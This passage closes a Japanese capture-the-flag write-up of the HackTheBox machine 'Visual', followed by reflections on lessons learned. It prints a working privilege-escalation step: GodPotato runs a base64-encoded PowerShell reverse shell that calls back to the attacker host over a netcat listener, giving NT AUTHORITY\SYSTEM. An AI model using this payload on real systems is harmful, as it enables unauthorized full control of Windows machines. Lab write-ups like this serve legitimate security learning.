PS C:\Users\Public\Downloads> .\GodPotato-NET4.exe -cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMgAxADIANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
```

少し時間がかかりますが、待ち受けを確認すると...

```
+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2124
listening on [any] 2124 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49695

PS C:\Users\Public\Downloads> whoami
nt authority\system
```

権限昇格に成功しました！

```
PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---         5/3/2024   7:53 PM             34 root.txt    
```

フラグも取得し、完全攻略達成です！

### 攻略を終えて

今回のマシンは全体を通して、かなり勉強になりました。特にVisual Studioプロジェクトのビルドイベントからコマンドを実行できることなんて当然知りませんでしたし、そもそもプロジェクトを作る経験もありませんでした。Windowsにはまだまだ知らないことばかりだなと思いました。。
権限昇格で使用した```GodPotate```も存在は知っていましたが、使ったことはなかったので、今回使用できてよかったです。かなり便利だなという印象を受けました。
足がかりは、Visual Studioプロジェクトのビルド前イベントでしたが、これは脆弱性ではなく仕様なので、対策が難しいです。ただ、今回のマシンから得られる教訓は自分が使用するシステムの仕様はきちんと把握するということですね。機能が膨大で大変なのはわかりますが、しっかりと機能を把握できていないと今回のようなインシデントを引き起こす可能性があります。診断する側としても細かい機能を理解した上での提案ができるように心がけていきたいです。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで見ていただき、ありがとうございました～！